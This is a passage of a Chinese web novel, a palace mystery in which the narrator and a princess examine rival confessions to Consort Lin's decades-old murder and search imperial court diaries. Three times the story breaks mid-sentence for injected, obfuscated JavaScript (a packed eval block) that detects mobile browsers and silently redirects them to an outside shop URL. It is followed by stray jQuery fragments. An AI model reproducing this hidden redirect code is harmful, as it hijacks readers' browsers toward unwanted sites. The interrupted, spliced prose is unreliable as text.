谢宁轩伸手捏了捏眉心:“因为圣上登基时,是以为查清了此案的。直到去年二月,忽然有了新的线索,圣上才会召我们入宫。” “什么线索?” 三殿下吸了口气:“这样吧,我从头讲起,否则你可能有些乱。” “快说,哥哥快说!”郡主等不及了,拉着三殿下的袖子坐下连声催促。 高岭事变后,先帝携后妃百官回宫,随即接到琳妃死讯。因尸身化为灰烬,当时核查的官员只能根据生存下来的宫人回忆,大致拟出了当晚发生的情景。 七月七日晚,先帝在琳妃宫中用晚膳,餐食端来尚未举筷时,皇子居所传来消息,最小的皇子生病了,先帝便离开去瞧。琳妃本也要陪同,但前些时日照料多荣公主受了累,疲倦体弱,先帝疼惜她,便让她好生歇着。 随后宫廷巨变发生。等先帝平叛后归来,斯人已逝。 废后胡氏后来供称,动乱当晚,她对先帝起了杀心,知道他在朱雀宫与琳妃共餐,便在酒中下了毒。 “等一下,废后胡氏?毒酒?咦,你在金华找到的宫人冰清……” 谢宁轩微笑:“很敏锐嘛。不错,此宫人便是当年琳妃的贴身丫鬟之一。胡氏买通了她,给当晚酒中下了毒。” 我想了想:“但胡氏的目标是先帝呀。哦,琳妃是被殃及的了?” 谢宁轩侧了侧头,不置可否。“从胡氏与冰清口供来讲,她确实下了毒。但琳妃,却未必死于此。” 郡主懵逼:“这什么意思?” 三殿下没有回答,只继续讲述道:“当时胡氏一党认罪,此案便终结了,随后便是对逆党的洗血,这就不提了。事情的转折发生在圣上登基那年。” “登基那年?发生了什么?” 三殿下看向妹妹:“你应该知道,元谪太子死后,先帝又怒又伤心,此后多年未再立太子,直到他病危。” “嗯,”郡主点头,表情也凝重起来,“那时与圣上争夺宝座的几位都颇有手腕,斗争激烈。好在圣上还是得到了先帝的首肯,拿到了遗诏。” “可三王之乱后,先帝淑妃却爆出了一个意想不到的消息。” 原来圣上登基后,与他夺嫡的几位兄弟并未放弃斗争,并在短时间内携手叛乱,史称“三王之乱。”此事还关系到齐王的找回与婚姻,谢宁轩也曾提过。 其中一位贺王,乃先帝淑妃之子,名望、权势最高,也曾最接近至尊宝座。 可三王之乱还是以兵败告终,贺王也就绝望自裁了。 闻得儿子死讯,淑妃大骇,披发裸足直奔太元殿,对太后与圣上又是揶揄又是谩骂。 除了诅咒外,淑妃还嘲讽圣上与太后多年来恨错了人,并自爆,当年琳妃其实是死于她下的毒药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411633|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么?停停停!”郡主伸手示意,“我晕了。什么叫死于淑妃的毒药啊?不是废后下了毒吗?” “废后的确下了毒,在酒中,目标是在朱雀宫进膳的先帝。”谢宁轩解释道,“但不知废后与元谪太子谋划的淑妃,当时也对琳妃起了杀心。偏偏就那么巧,同一晚,她也下了毒,在汤中。” 这次换我叫停了:“等一下。你的意思是,琳妃死亡当晚,废后和淑妃都下了毒,虽然目标不一致,但先帝啥也没吃就走了,而留在餐桌前的琳妃,可能死于毒酒,也可能死于毒汤?” “义妹总结的很到位。”三殿下颔首。 “可淑妃为什么要杀琳妃?” “因为当年宫中最受宠的就是珍妃——哦,就是今太后——还有琳妃。淑妃对她二人都很嫉恨。虽然元谪太子地位稳固,其他有儿傍身的妃嫔在动乱前压根就不曾有过奢想,但母以子贵,淑妃也不敢轻易对珍妃下手。可琳妃毕竟只有一女呀,还每每谋得先帝怜惜,把自己这个皇子之母都压了下去,淑妃自然就想除之而后快了。” 谢宁轩接口续道:“但当晚听说先帝去了朱雀宫,淑妃吓坏了,她无心也无胆谋杀帝王。所以马上派下人假称皇子病重,欲引他们离开,好掉包毒汤。可谁知先帝离开,琳妃却没走。淑妃听到这消息,还以为天助她呢,便没有改变计划。” “哦!”我听明白了,“所以高岭事变之后,此案本身是终结了的。直到圣上登基时,却又杀出来个政敌之母淑妃,反正也斗败了,死前说的也应该是实话。圣上自此获悉,其实琳妃死于淑妃之手?” “没错。” “可这有两个问题。”我忍不住皱眉,心中疑惑陡生,“第一,废后胡氏和淑妃都下了毒,圣上怎么知道琳妃到底死于什么?毕竟尸体都没了,无法验尸确认啊。” “你问的没错,圣上当年也是存疑的。只是宫中的饮食习惯是先饮汤后进食,除非宴席,酒通常也不会上来就喝。淑妃又说,琳妃遵医嘱压根就没喝酒。所以当年圣上还是倾向于真凶是淑妃。” “这好像有些牵强,喝没喝酒,也不能只听淑妃一人之言吧。”我想了想,说道。 “没错,圣上自己也清楚。” 我捕捉到了他的言外之意,马上问出第二个问题:“因此接下来又发生一些事,圣上才会心中疑虑更甚,继而安排你们在去年重启调查?” 谢宁轩弯弯嘴角:“聪明。是的,去年又冒出来一个人,称她才是杀害琳妃的真凶。” 郡主眼珠子都要瞪出来了:“又冒出来一位?谁啊?” “静太妃。” “静太妃?”郡主跳了起来,“那位吃斋念佛、脾性温和、从不生气的静太妃?” 静太妃也是先帝的妃子,与琳妃、珍妃关系融洽。先帝故去后,她本就沉默寡言的性子更加平和内向,素日里不是礼佛念经,就是到太后宫中陪坐。直到去年二月,静太妃病终。 “静太妃自己供称的吗?”郡主难以置信。 “是。”三殿下颔首,“静太妃临终前忽然忏悔,说自己隐瞒了一桩罪行,折磨了大半辈子。直到身死,她终于敢说出来了。” 静太妃育有一子,与多荣公主同年出生,可养到三岁便不幸病殁。自此后,静太妃再没有过身孕。不过,她与珍妃、琳妃交好,得以时常去朱雀宫中坐坐,看着小儿嬉闹,聊做安慰。 “这不是好姐妹吗,怎么她也会对琳妃下手?”我不明白。 “也是一时钻了牛角尖。还记得我说的吗?琳妃也失了一子。” 我心中一跳,脱口猜测道:“哦!难道说,她本觉得与琳妃同病相怜,可后者却有养子承欢膝下,对比自己的孤苦伶仃,才会一时上脑,动了歪心思?恐怕还有些许期冀琳妃身死,自己就能得到照顾养子机会的阴暗想法?” 郡主听呆了。 三殿下也挺唏嘘:“静太妃也是一时蒙了心智。她吃斋念佛这么多年,或也为此忏悔着。” “那她,她做了什么?” 144.慈宁宫 “她说动乱那夜,她从珍妃宫中出来回自己寝宫,路上看到先帝匆匆离开朱雀宫,心中又起波澜,就进去了。当时朱雀宫中只有些外围下人在洒扫,因为她是熟识,下人禀告了一声后就掀帘子让她进去了。奇怪的是,殿中没有任何下人,而琳妃,就在床上躺着。” “在床上躺着?” “她说当时殿内空无一人,且只在外间餐桌上点了灯,昏暗不已。她进去的时候也有些奇怪,但想到难得丫鬟不在,就没多加思考。走到内间,模糊看到琳妃躺在床上睡得正熟,一时间,各种情绪涌上,她便伸手掐住了琳妃的脖子。” “她掐死了琳妃?”郡主大惊。 “等等,窒息与中毒千差万别,怎么验尸没有发现?”我打断道。 “当晚就是宫廷政变,谁还能安排验尸呢?”谢宁轩一哂。 哦对,动乱当晚琳妃就随着朱雀宫付之一炬了。 三殿下继续讲述:“我们倒是从废后胡氏身边太监的供述中找到一条线索。他供称冰清来禀告,先帝未饮酒,却误打误撞害死琳妃后,废后很紧张。她一向跋扈,不在意其他妃嫔的性命,却担忧先帝逃过一劫,故此立马传令给外间的元谪太子,兵变就此开始。” “可元谪太子动手还是晚了,先帝带人逃生。胡氏大怒,便去各宫搜罗人质。到了朱雀宫的时候,这太监亲眼看到,琳妃口鼻出血,胳膊、脖子等衣物未遮盖之处亦可看到血点。胡氏让他上前确认死活,他还扒了扒琳妃的眼皮,注意到眼白中也有血丝。胡氏自然认为她死于毒酒,未做他想。出于愤怒,直接就一把火烧了朱雀宫。” 后背有点发凉,我被这段血腥的历史震撼着。同时在想,关于死状的这段描述,实在语焉不详,听着像是中毒,也像是窒息。 难怪静太妃自述掐死琳妃,也能引起圣上怀疑了。 这个时候,听得入神的郡主长叹一声:“怪不得,怪不得!我说静太妃殁后,太后怎么伤心的病了一个月!我那时不就在宫中侍疾吗?呆了整整一个月!” “是。”谢宁轩颔首,“太后伤心于故交离去,更愤慨于好友之死的真相,原来自己这么多年看错了人。更杯弓蛇影,担心追查下去会发现更多的不堪。如今故人都不在了,太后也灰心,便不愿再查。这也是调查必须背着她进行的原因。” 嗯?就因这个? 可往日的谜团一角揭开,更牵扯到闺蜜之死,太后竟不想挖个干净? 凭空而来的冷风,忽然就似吹进了骨头。 莫非,太后也有秘密? 那今时今刻的追查,更得小心翼翼了。 郡主咬唇又道:“我明白了。圣上本就对琳妃之死存有疑虑,去年静太妃故去前的忏悔之词,让圣上更寝食难安,才会让你们重启调查。那,你们都查到什么了?” *** 慈宁宫位于皇宫东南方,地势较高,夏有树荫冬临温泉,实乃养老好去处。我扮作侍女跟着郡主进入慈宁宫的时候,太后正歪在贵妃榻上看书。 “太后怎么还没午睡呀?”郡主踏进正殿,笑语盈盈。 太后微微直起身子:“阳远来了?” 年近六旬,在封建王朝当属长寿。太后依然身子骨硬朗,面相不怒自威,一双眼炯炯有神,并无半点浑浊。 郡主蹦蹦跳跳上前,未行礼就直接扑入太后怀中,撒娇道:“本以为您老人家午睡没醒,阳远还刻意走慢了些,就怕扰了您清静。早知道您等着,阳远该早些过来了呢。” 太后慈祥的刮刮郡主的脸:“还不是你一早传信进宫,害得哀家睡不着。” “嘿嘿,是阳远的过错啦。太后想阳远了吗?” “猴丫头,哀家可不想你。”太后嗔道。 太后身侧站在一位嬷嬷,面相也似她的主人,威严得很。闻言适时笑道:“太后还说生气,怪郡主多日不来看您。这一早得了消息,又是吩咐小厨房张罗郡主爱吃的糕点,又是安排老奴取各色锦缎珠宝,老奴瞧呀,您可实在心疼郡主。” 郡主自得一笑:“梅江姑姑说的是,太后最疼阳远了,阳远也时刻记挂着太后呢。” 太后弯弯眼睫,将手搭在郡主臂上轻抚,一面打量着:“咦,阳远好像瘦了点?前几日你哥哥进宫请安,哀家看着倒更健壮了。” “哥哥勤奋嘛,整日练武。” “那还是别学你哥哥,整天在马上不下来。女儿家,文静些好。 郡主撅撅嘴,凑上前道:“太后这话不对,阳远就知,太后在闺中时,也曾去围场打猎,还打中一只狍子,把一众皇子都比下去了呢!高宗皇帝夸您女中第一人,可有此事?” 骤然提起往事,太后红光满面:“一晃眼这许多年了,哀家都要忘记这些往事了。” 梅江姑姑浅笑:“人都说老了才爱忆往昔,太后不记得,才说明太后还不见老。” 郡主马上接过话茬:“依阳远看呀,太后您就是上马再练几圈,都不成问题。” 太后笑着摆手:“行了行了,你们一个二个就诓哀家吧,哀家可不上当。若是信了你们的话,只怕要被摔个惨喽。” 说话间气氛融洽,看得出来,太后的确很宠爱郡主。 “阳远这次怎么这么乖巧?主动来陪哀家小住?” “阳远想太后了嘛。” 太后含笑侧目:“怕是你哥哥将大婚细节都交由你打理,累的你叫苦连天,跑哀家这儿躲清闲的吧?” “嘘,太后,可别让哥哥听见!”郡主露出被抓包的心虚表情。 太后宠溺地刮刮郡主鼻子:“有哀家护着,你怕什么?好生歇歇!也该叫你哥哥上上手,他倒会甩摊子。来日你的好事,哀家看他往哪里躲去。刚好呀,趁着这段时间,哀家也替你张罗张罗。” “郡主啊,太后为你择婿,可都挑了一本了,恨不得把这普天下的好儿郎都招来一览呢。” “阳远不想嫁人!想多陪陪太后嘛。”郡主撅撅嘴。 “这是什么胡话?”太后嗔道,“哀家可不能耽搁你。” 熟悉的对话让我想起了远在金华的祖母,不自觉弯了嘴角。 “说到好事……对了,听闻你们御青王府近日有桩喜事?”太后忽转了话题。 怎么突然说起这个!心跳加快,我顿感惶恐。 好在郡主早有准备,依旧笑呵呵道:“是呀,阳远和哥哥收了位义妹。” “就是那位跟在宁轩身后查案的姑娘?” 这话一出,我差点没跳起来。 这种场合下,绝不能撒谎,郡主倒也稳得住,唯眼神朝我飞快地扫了一眼,便笑着回答:“太后都听说了?是她。只是这‘跟在宁轩哥身后查案’的说辞,却夸张许多。” “哦?此言何意?难道她没有参与京城府衙的刑案调查?” “哎呦,”郡主拉长语调,故意抱怨,“不过是误打误撞参与了两三个案件,能算得上故意‘跟在宁轩哥身后’吗?说的根条尾巴似的。再说了,她那是为了救人,不得已的呀。” 太后眉头蹙起:“救人,救了什么人?” 郡主睁大眼睛:“我呀!救了我两次,还救了谢宁辕一次呢。” “你……哦,你是说绣花大赛那桩案子吗?哀家那时倒是问过宁轩,他的确说关键的证物簪子是一位姑娘先发现的。” “是呀!义妹先想通关窍及时汇报给宁轩哥,他二人这才冲来,合力救下我。太后忘了我脖子上的勒痕了?现在想想还做噩梦呢。” 见郡主抚颈露出瑟瑟之意,太后忙按了按她的肩安慰,但眉头未展,显然并未就此纾解。 郡主旋即提起江瑟楼与白马书院案,半真半假、半夸大半隐藏,讲的那叫个声情并茂,听得我汗颜又忐忑。 王羽书一介草民,能在这个时候被太后过问,显然和近来参谢宁轩的奏本有关。这种关头,似乎应该低调,弱化存在感,越不被人注意越好。 可太后已经知晓,似也不能隐瞒不报……郡主此种说辞,也不知是福是祸。 “义妹巧破血衣障眼法”的话本总算讲完,郡主长舒口气:“……所以呀!发现了洗脱谢宁辕的罪证,这才救他出了天牢,否则就他那个娇生惯养劲儿,不得生场大病呐?” 许是亦想起孙儿的哭声,太后表情微变,透着心疼:“宁辕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418292|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都瘦了,可不是遭罪了吗?可恨,可恨,竟敢算计哀家的孙子。” 梅江姑姑仍难以置信:“轩少爷智慧过人,聪明绝顶,怎的是这女子先找到的证据?” 郡主信誓旦旦:“正所谓关心则乱嘛。被诬的是亲弟弟,又正在被罚加紧城防建设的关头,饶是宁轩哥,也不免一时自缚,一叶障目了呀。” “可既是书院命案,那姑娘怎么会跟去现场呢?” 呀,问的一针见血。 我正紧张于这借口怎么找,郡主竟已坦然回复:“作为证人被叫去的呀。之前她碰见谢宁辕和孟家那死者打架,那姓张的就以此诬陷谢宁辕来着。宁轩哥从不只听一面之词,自然要找证人查问的嘛。” 我悄悄松了口气,没想到,郡主脑瓜子转的还挺快。 一席话落在太后耳中,似是放下了些许成见。她微微颔首,道了句:“勉强算是有些功劳。这么说,这小女子是有点聪明劲儿了?” 郡主连连点头,殷切地说:“是呀!聪明敏锐,还很仗义呢!绣花大赛那案子,她都不认识我,救下我完全是出于公义之心!哥哥当日就要结拜,她还不好意思的推脱呢!” “那除了这三桩案子,宁轩没再带她参与刑案调查了?” “没有了呀!”郡主马上打包票。 脑后生风,不安弥漫。这三起案件事关重大,我的出现更被青朝达官显贵直接目睹,郡主此时提及也是合理的。加之我的确算救了人,即便颠倒了些许经过,想来问题不大。但单说我在京城,都不止跟随谢宁轩查了这三起案件,遑论京城外还有。 若是有心人将那些翻到明面上,我们又该怎么解释,怎么掩盖呢? 我苦苦思索着。那厢,太后彷佛已被这答案满足,眼中虽仍转着精光,却没有再做追问。 这时,许是担忧浮现在面上都不自知,我以为自己规规矩矩的站在一旁,应当不惹眼,但梅江姑姑还是瞧了过来,咦了一声:“今个儿这丫鬟有些眼生,郡主怎么换人侍奉了?岚枫那个丫头呢,郡主不是一向只用的惯她吗?” 我马上凝神屏气,躬身低头。 这个问题来之前模拟过,郡主并不惊慌,只故作生气:“嗨,姑姑提起这事,我就一肚子火。本来哥哥大喜事宜都操作的差不多,我终于能松口气了。偏偏下人为锦业寺住持大师亲笔提的祷文裱框时,不留意溅上去几个水点儿,怕被发现想要遮掩,竟用手那么一搓,险些把大师的字搓掉!” 太后也笃信佛法,一听就念叨:“静远禅师的墨宝?阿弥陀佛,可惜了了!” “可不是嘛,这说出去不丢死我们御青王府的脸了?我只好想办法补救呀,找了一大圈才找到京郊一个匠人,善描摹清污,常有补救古画之经验,却也说不好办,得十数日才能完成。我不放心,索性就让岚枫住在附近,每日盯紧,隔两三天来宫中告知我进度。” 我们宿在宫中,谢宁轩和三殿下虽能时常入宫一探,却也担心二人若奉圣旨临时外出,外界将与我们隔着宫墙通信不便。郡主身边的大丫鬟岚枫,常于宫中行走,自然成为隔三岔五传递消息的最佳人选。 此时郡主顺水推舟提及的“告知进度”,便是为来日的“接头”铺垫。 当然,除此之外,谢宁轩还做了一系列万全安排,意在让我在宫中查案无后顾之忧。只是事情之后变化,也远超了进宫前我们的想象。 说回当下,郡主生动的讲述将太后带入对佛法大师的崇敬中,连连追问起大师近况。她得以趁势挥手,打发我出去收拾屋子,不必在跟前侍奉。 我早就站的僵硬,后背都汗湿了,闻言忙不迭行礼退出。门外守着的丫鬟自也听到了对话,连忙上前引领我往侧殿走,一面恭敬地说,早就为郡主拾掇好了床铺,无需我亲自动手。 “姐姐客气了,叫我阿羽就是。我第一次随郡主进宫,若有不懂贸然之处,还请姐姐指点。” 丫鬟见我上道,也很高兴,边走边攀谈起来。我正想着套套话,忽听宫门轻启。丫鬟一愣,朝外瞧:“这个点……莫不是她来了?” 说着,还真有个宫装女子绕过门前影壁,曼步走来。 145.起居注 “怎么没人守门……哦对,被我打发去小厨房了。”丫鬟自言自语,又朝我扭头笑,“阿羽姑娘,那你先在屋中休息会儿,有什么需要的,尽管吩咐过往小丫头就是。” 说完,她便朝影壁跑去,引得宫装女子脚步一顿,远远望来。娇媚鲜嫩的容颜,端庄斯文的走姿,想必是哪位妃嫔,来向太后请安。 丫鬟跑到她身边,听不清说了什么,就见她挥手示意,将身后太监呈来的一个盒子递给茗儿,轻启朱唇含笑数句,便转身走了。 这应该是得知太后有客不便打扰。 我立在侧殿门口,又见丫鬟捧着盒子进了左侧殿,这才反应过来,嗨,关我什么事啊,怎么看个没完没了了? 得,我还是好好想想,方才郡主的说辞,会不会有漏洞吧!另外,得赶紧拟封信传出,将今日对话合盘告知谢宁轩,嘱他掩盖事实出入部分呀。 从今日短短对话就能看出,太后绝非不理世事的深宫妇人。当日绣花大赛案,谢宁轩就说过,太后问过他带女子查案一事,今时今日又因奏本再提,更知我们在御青王府那低调的结拜仪式,消息不可谓不灵通。 或许,这就是圣上九五至尊,未得到太后允准,也只能秘密安排调查牵挂之事的缘故。 这么想着,我越发清晰的认知到,此案调查的谨慎度,恐是历来之最了。 侧殿中,我歪歪坐在桌子边,托腮凝想。香炉正袅袅升着青烟,是郡主一贯喜欢的鹅梨香。桌上,还摆放着一盘精致的瓜果切片,其中几样,我来青朝这么久都没在民间见过,估计是贡品。 进宫前谢宁轩讲述太后喜好时提及,太后将养身体,自年轻时便从不食瓜果。但圣上还是会将贡品先送来慈宁宫挑选,若是郡主下榻,每每都能先人一步品尝到。遇到尤其喜爱的,圣上更是会大手笔拨来,更别提每次出宫带走的一车一车好东西了。 这的确展现了郡主在宫中优渥的宠爱与地位。只是,若太后知道郡主在协助圣上查一桩她反对调查的案件,今天享受到的一切荣宠,还能保住吗? 更甚者,如果太后,真的与案件有所牵连,以郡主的立场,该如何选择呢? 我有些忧愁,坐也坐不住,只想赶紧冲去查案,一刻也别耽搁。好在这时,郡主挑帘,竟也回来了。 “咦,你不陪太后了?” “过了午睡时辰,太后早就困了。”郡主阖上门,大大的舒了口气,“哎呀,义妹,方才紧张死我了!怎么样,我说的能行吗?” “嗯……” “幸亏来之前哥哥说太后知道结拜仪式,嘱咐我了一大堆说辞,今日才没惊慌!” “嗯?三殿下提前预料到了?” “是呀,就那天结束后宁轩哥进宫,你不是去齐王府了吗?你前脚走,太后派的嬷嬷后脚就来了,赐了一大堆东西。偏偏结拜的祭台摆设都还没撤,被嬷嬷瞧见了呀。” 竟然是因为这个! 这么说,低调的仪式能传到太后耳中,并非有眼线安插在御青王府了? 肩膀塌下,心口的氤氲吹散了些。还好,还好。 “另外呀,就得说宁轩哥厉害了。他听完哥哥叮嘱,就猜到太后八成要过问。说与其含糊带过,不如就着案子掰扯掰扯,特地告诉了我每个案子该怎么讲,太后可能会抓着哪里不放,问到了该怎么答……” “啊,原来你今天的说辞都是谢宁轩教过你的呀!” 心中一震,我登时就松了口气。 我说今个儿郡主怎么会主动提及案件,对每个案子了解的同时却又侧重点偏离,似乎都在夸大我的功劳,却又弱化我参与的程度,使其合理化。 如此说,便是谢宁轩对太后熟悉有加,摸清了她的心路历程,提前铺排好了。那么,心思缜密的他必不会疏漏其他几个案件,无论是盗墓贼还是瑶华班,想必有心人都不可能加以利用了。 看来这信可以省了。 大约是读懂了我脸上的松弛与满意,郡主也放松下来,抱起茶杯咕咚灌下一大口。 “好啦,宁轩哥说这就是第一关,过了之后只要咱们小心查案不被抓住马脚,就大可安心啦。行吧,那义妹你说,咱们现在去哪?” “现在?现在就能走?你不需要等太后醒来吗?” “太后午睡得一个时辰呢,起来了还要礼佛,不到晚膳时分,她不会再召见我。”郡主大手一挥,熟捻地说,“往常我宿在宫中,一向都是想着法子出来玩,拜见太妃们,瞧瞧皇后和贵妃,与几个公主妹妹聊聊天,才好打发时间嘛。太后知道我这德性,也不会追问啦。” 好吧,不引起格外关注就好。而且郡主也的确没说大话,这一路走来,过往的侍卫都不敢拦不敢问,当真是畅通无阻。 “姐姐,琳妃的朱雀宫付之一炬,那旧址上,再建其他宫殿了吗?” “建了未央宫呀,现在是贵妃的住处。要去瞧瞧吗?我可以去蹭顿饭。” 新主入住,又过了这么多年,还能查到什么吗? “对哦,怕是旧物早就不存了,二十年间都不知道换了多少主儿了。贵妃是几年前才住进去的,她喜好奢靡,入住前还专门修缮来着。不过你想去看看,倒是很简单。贵妃一向与我走得近,她的外甥女嫁给太子做了侧妃,是自己人。” “哦,还有这层关系呐。行吧,这个作为后备选择。目前紧要的,还是得先找先帝妃嫔的起居注看看。” “起居注?”郡主凝眉,“就在内廷司呀。” “那走吧。有姐姐你在,想必那易主簿应该不会为难阻挡,能让咱们查看过往卷宗的吧?不过还是要想个理由,别让人发现我们的目的。” 郡主转转眼珠子,脚下生风:“这有何妨,跟我来!” 说着,我二人便往宫廷一角去往,一面又聊起太后为郡主择婿。 郡主怅然:“诗云只羡鸳鸯不羡仙……义妹,你和宁轩哥,哥哥和霜玉妹妹,你们怎么都这么幸运?偏我遇不到个钟情的人,就得被赐婚呢?” 到底曾与邱子昂有情,又兼目睹哥哥与有情人终成眷属,郡主自然不似寻常闺中少女,完全不敢肖想两情相悦的婚姻。 其实以她受宠程度,只要心爱之人阶层相距不远,太后都能成全了她。无奈于她而言,芳心如古井,根本无波无澜。 我也不知该怎么安慰她,只能劝一句缘分未到。 郡主耸耸肩,正要再叹,忽地脚步一顿。她朝不远处走过的一支羽林军张望,喃喃道:“咦,那是谁啊,看着有些眼熟?” 我不明所以,也跟着瞧,瞧不出名堂。 “怎么了姐姐,是遇到熟人了吗?” 郡主侧侧头,又眯眯眼:“大概是看错了,觉得有些面善……也想不起来。罢了,不管了。走吧,内廷司就到了。” *** 内廷司位于皇宫一侧,因着统管后宫诸事,大小管事都忙的不可开交。当郡主敲了敲门口那位的桌子时,他还挺不耐烦:“谁呀,谁呀,没看见我忙着……呦,阳远郡主啊!哎呦,什么风把您吹到这儿来了!” “你是……”郡主叫不上来名。 “奴才小里子,”那主事打着千儿,堆着笑容,“郡主您这是?什么事情还劳您亲自来一趟?差个丫鬟走一趟就好了呀。” “易主簿呢?” “呦,易主簿才刚出门,去各宫分发贡品去了。您看需要请他回来吗?” 郡主忙摆手:“不用那么麻烦了。我来主要是想查个记录。” “什么记录呀?您吩咐。”小里子很恭敬。 郡主一手抱臂,一手捏捏下巴,故作深沉:“翻过年就要到皇后千秋了,我哥哥准备好了礼物,我却瞧着有些眼熟,好像过去我们曾经给哪个宫送过类似的。所以我来是想翻翻账册记录,看看到底送没送过,免得回头重复了,可就难堪了。” 这理由没毛病,小里子也没觉察出不妥,依旧堆着笑:“呦,瞧您说的,御青王府送来的东西一向都是上佳精品,哪个宫收了都很满意呢,怎么敢指责。” 郡主挥挥手:“别废话了,领我去瞧账册吧,我一会儿还得陪太后用膳呢。” 小里子连声应了,随即便引着我们朝后院走去,一面说道:“可郡主呀,这账册多如牛毛,虽以年份分类,却实在冗杂。要不您在外歇着,奴才差人来翻找?” “不用了,”郡主自有应对之词,“哥哥准备的宝物我可不能先泄露。你们这些人呀,回头知道了再到处一传,我们送礼可就失了惊喜了。” “瞧郡主说的,奴才们哪敢传御青王府的闲话呦。” “得了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429193|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就带着丫鬟自己翻翻吧。今天我来的事别给旁人说,免得人家听了笑话,知道了吗?”说罢,郡主从袖中掏出几锭银子丢给了小里子。 小里子得了便宜,自然乐开怀,请我们进了放置账册的屋子,就知趣的退下了。 这屋子面积不小,内里布置的像是标准的图书馆,一排排书架有序摆放。每个书架也都标记着年份,倒是很好找。 郡主眼看他的背影消失,忙关上门,拉着我就往里面冲,语速飞快:“快找快找!幸好易主簿不在,那老家伙废话多的很,他要是回来听说了,肯定要来恭维我,少不得应付他浪费时间。” 我也不耽搁,与她分工合作,一个找琳妃的,一个翻其他人的。 “康元二十年,康元二十年……”郡主眼睛四处瞟着,嘴里念念有词,“还好先帝时期的账册记录尚未归档。这要是查高宗之前的,可就得去门下省了。” 康元二十年,是琳妃去世的时间,但她是与今太后同年入宫的。我这么想着,便从康元六年的记录开始翻起。先帝的记录放在最外面,最好找。 “康元六年四月初八,上临凤仪宫,考究太子学问,对答如流,龙颜大悦。” “康元七年端午,上与太子游园,太子侍奉得宜,上悦。” “康元七年十二月十五,上腹泻,传太医,嘱清淡饮食。太子侍疾,上悦。” “康元八年正月初二,上与太子对弈,太子胜半子,上悦。” 如此一类的记录,草草翻阅便是繁多。看得出来,元谪太子少年时,深得先帝欢心。除此外,废后胡氏出现的记录也非常多。想必夫妻二人在婚姻的前半程,亦是和和美美,同心同德的。 然而情况,至康元十一年,却发生了些许微妙的变化。 “康元十一年十一月十五日,上临凤仪宫,与后争执,拂袖。” “康元十二年二月初一,上临凤仪宫,与后争执,拂袖。” 蜜月期结束了,接下来的记录大幅都是争执。 但太子地位始终未变。 “康元十二年二月初四,上腹泻,传太医,嘱清淡饮食。太子侍疾,上悦。” “康元十二年九月十九,上宴请山阳大长公主及驸马,驸马携西域舆图进献。上询问边防,太子分析得当,上悦。” 康元十二年,元谪太子不过十五岁,竟然已经可以分析军事边防了。 “康元十四年七月初一,太子生辰,上恩准监国。” 元谪太子弱冠之龄就开始监国了?难怪日后有能力反叛。而父子感情,也就在这一年发生了变化。太子出现的记录依旧不少,但“上悦”“龙颜大悦”等词汇几乎再未出现。 难道太子监国、皇权分权,才是父子反目的真实原因? 当然,除了太子母子,宠妃珍妃、琳妃也都没少出现在先帝的起居注中。 “康元十二年六月初四午后,珍嫔食半牙西瓜,呕吐,传太医。上亲临照拂。” “康元十二年九月十八,旱情未得疏解,上无食欲,未用晚膳。琳嫔制茯苓鸡汤请安,上悦。” “康元十三年四月初一,琳嫔携多荣公主请安,上赐云锦。” “康元十三年十一月十二晚,后斥珍嫔之顶撞无礼,处笞刑。上阻,与后争执。” 笞刑? 废后竟然对妃嫔施加如此重的刑罚?我赶忙朝后翻了几页,果然看到其他废后欺压后妃,先帝斥之的记录。 废后性情暴戾之说我并不陌生,但大多都来自高岭之变。她烧了半座皇城,杀了无数宫人为己为儿陪葬,的确是个狠人。 相较那勉强可用走投无路之下的扭曲来解释,她本人起居注间的寥寥数笔、不带感情的记录,才真是看的人毛骨悚然。 请安晚了半盏茶,她罚人家跪经十二时辰;宫女打瞌睡误了为她扇风,她罚宫女朝日晷磕头,直至头破血流。元谪太子莫名饭后呕吐,她不由分说先把御膳房所有厨子鞭打一通…… 你瞧这条“康元十三年十一月十二晚,后于凤仪宫设宴,静贵人因丧父之哀,席间泣啼,后怒,处笞刑”的记录,真是看得人生理不适。 人家静贵人丧父之痛诶,只是影响了她设宴之欢,就……咦,等等,十一月十二晚,这不是先帝起居注中珍嫔被处笞刑那晚吗? 146.冰清 珍嫔即为今太后,她作为先帝妃嫔时的起居注也一并在此。我很快就翻到了康元十三年的记录,搞清了事情的来龙去脉。 原来当日夜宴后,废后一向喜欢的戏班子排了几出新戏,也被邀来表演。其中一出《桑园寄子》,因有对父子感情的刻画,触动了前些时日才丧父的静贵人,使得她一时失态,忍不住哭了起来。 这本该引得同情怜悯,废后却嫌哭声扰了她的兴致,不耐烦的下了处罚。静贵人吓坏了,连连求饶,废后不为所动。 